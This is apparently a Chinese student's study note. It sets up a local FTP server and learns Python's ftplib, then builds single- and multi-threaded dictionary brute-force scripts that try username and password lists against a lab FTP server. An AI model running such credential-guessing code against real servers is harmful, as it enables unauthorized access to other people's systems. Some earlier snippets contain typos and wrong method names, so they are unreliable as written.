本地搭建FTP服务器
参考链接:https://jingyan.baidu.com/article/3c48dd3490c310e10be358ea.html
软件下载
安装教程
- 点击运行QuickEasy FTPServer.exe文件,文件为绿色版程序,不但体积小,而且也不需要安装,启动后如下图:

- 勾选匿名账户建立匿名账号,如果不需要匿名,输入账户名即可。点击下一步。入选图:

- 在D盘建立一个FTPRoot文件夹作为FTP服务器根目录,如下图:

- 在弹出的对话框中选择用户权限,点击完成按钮,如下图:

- 完成后FTP服务器快速启动,启动后点左上角绿色按钮启动服务器,如下图:

- 可以看到FTP服务器地址为:192.168.1.100,记住IP地值,在浏览器地址栏输入FTP://192.168.1.100,即可访问资源.如下图:

ftblib模块学习
参考链接:https://www.cnblogs.com/xiao-apple36/p/9675185.html
ftp登陆连接from ftplib import FTP #加载ftp模块ftp=FTP() #设置变量ftp.set_debuglevel(2) #打开调试级别2,显示详细信息ftp.connect("IP","port") #连接的ftp sever和端口ftp.login("user","password") #连接的用户名,密码print ftp.getwelcome() #打印出欢迎信息ftp.cmd("xxx/xxx") #进入远程目录bufsize=1024 #设置的缓冲区大小filename="filename.txt" #需要下载的文件file_handle=open(filename,"wb").write #以写模式在本地打开文件ftp.retrbinaly("RETR filename.txt",file_handle,bufsize) #接收服务器上文件并写入本地文件ftp.set_debuglevel(0) #关闭调试模式ftp.quit() #退出ftpftp相关命令操作ftp.cwd(pathname) #设置FTP当前操作的路径ftp.dir() #显示目录下所有目录信息ftp.nlst() #获取目录下的文件ftp.mkd(pathname) #新建远程目录ftp.pwd() #返回当前所在位置ftp.rmd(dirname) #删除远程目录ftp.delete(filename) #删除远程文件ftp.rename(fromname, toname)#将fromname修改名称为toname。ftp.storbinaly("STOR filename.txt",file_handel,bufsize) #上传目标文件ftp.retrbinary("RETR filename.txt",file_handel,bufsize) #下载FTP文件
FTP服务器简单登录
import ftplibftp = ftplib.FTP()ftp.connect("192.168.1.102",21)ftp.login("admin","root")list = ftp.retrlines("list")print(list)

实现用户自定义输入登录FTP
if __name__ == '__main__':IP = sys.argv[0]PORT = sys.argv[1]USERFILE = sys.argv[2]PASSFILE = sys.argv[3]
sys.argv[]的用法简明解释
参考链接:https://www.cnblogs.com/aland-1415/p/6613449.html
sys.argv[]说白了就是一个从程序外部获取参数的桥梁,这个“外部”很关键,所以那些试图从代码来说明它作用的解释一直没看明白。因为我们从外部取得的参数可以是多个,所以获得的是一个列表(list),也就是说sys.argv其实可以看作是一个列表,所以才能用[]提取其中的元素。其第一个元素是程序本身,随后才依次是外部给予的参数。
下面我们通过一个极简单的test.py程序的运行结果来说明它的用法。
1 #test.py
2
3 import sys
4 a=sys.argv[0]
5 print(a)
将test.py保存在c盘的根目录下。
在程序中找到 ‘运行’->点击->输入”cmd”->回车键 进入控制台命令窗口(如下图),先输入cd c:\ (作用是将命令路径改到c盘根目录),然后输入test.py运行我们刚刚写的程序:
得到的结果是C:\test.py,这就是0指代码(即此.py程序)本身的意思。
然后我们将代码中0改为1 :
a=sys.argv[1]
保存后,再从控制台窗口运行,这次我们加上一个参数,输入:test.py what
得到的结果就是我们输入的参数what,看到这里你是不是开始明白了呢。
那我们再把代码修改一下:
a=sys.argv[2:]
保存后,再从控制台窗台运行程序,这次多加几个参数,以空格隔开:
test.py a b c d e f
得到的结果为[‘b’, ’c’, ’d’, ’e’, ’f’]
应该大彻大悟了吧。Sys.argv[ ]其实就是一个列表,里边的项为用户输入的参数,关键就是要明白这参数是从程序外部输入的,而非代码本身的什么地方,要想看到它的效果就应该将程序保存了,从外部来运行程序并给出参数。
代码运行报错

解决办法参考链接:https://blog.csdn.net/weixin_44635296/article/details/104117978
简单来说就是把要填写的参数写在后面,如图

实现跑字典爆破FTP服务器
def ftp_login ():ftp = ftplib.FTP()ftp.connect("192.168.1.102", 21)for user in open("admin.txt"):for passwd in open("pass.txt"):user = user.replace('\n','')passwd = passwd.replace('\n','')try:ftp.login(user,passwd)print("成功登录的账号密码:" + user + "|" + passwd)print("FTP服务器文件目录如下:"+"\n")list = ftp.retrlines("list")except ftplib.all_errors:print(user + "|" + passwd)print("登录失败\n")passif __name__ == '__main__':ftp_login()

为了实现更高效率跑这个字典,我们需要使用多线程
import ftplib
import sys
import threading
import queue
import time
def ftp_login ():
while not q.empty():
dict = q.get()
dict = dict.split('|')
user = dict[0]
passwd = dict[1]
ftp = ftplib.FTP()
ftp.connect('192.168.1.102',21)
try:
ftp.login(user,passwd)
print("成功登录的账号密码:" + user + "|" + passwd)
print("FTP服务器文件目录如下:"+"\n")
list = ftp.retrlines("list")
except ftplib.all_errors:
print(user + "|" + passwd)
print("登录失败\n")
pass
def threadings_ftp ():
start_time = time.time()
for i in range(10): //rang(num),num代表线程数
t = threading.Thread(target=ftp_login)
t.start()
t.join()
end_time = time.time()
fin = end_time-start_time
print(fin)
if __name__ == '__main__':
q = queue.Queue()
for user in open("admin.txt"):
for passwd in open("pass.txt"):
user = user.replace('\n', '')
passwd = passwd.replace('\n', '')
zidian = user+'|'+passwd
q.put(zidian)
ftp_login()
threadings_ftp()
线程数10

线程数1

按道理说相差越大,速度越快,结果这里线程数1 更快,可能是这个ftp服务器的问题
上面的代码是写死的,我们接下来实现用户自定义
其实下面老师还做了一个实验,但是我不打算做笔记,只是没什么好记录的,就利用Python写代码而言,和第二节相似,故不作
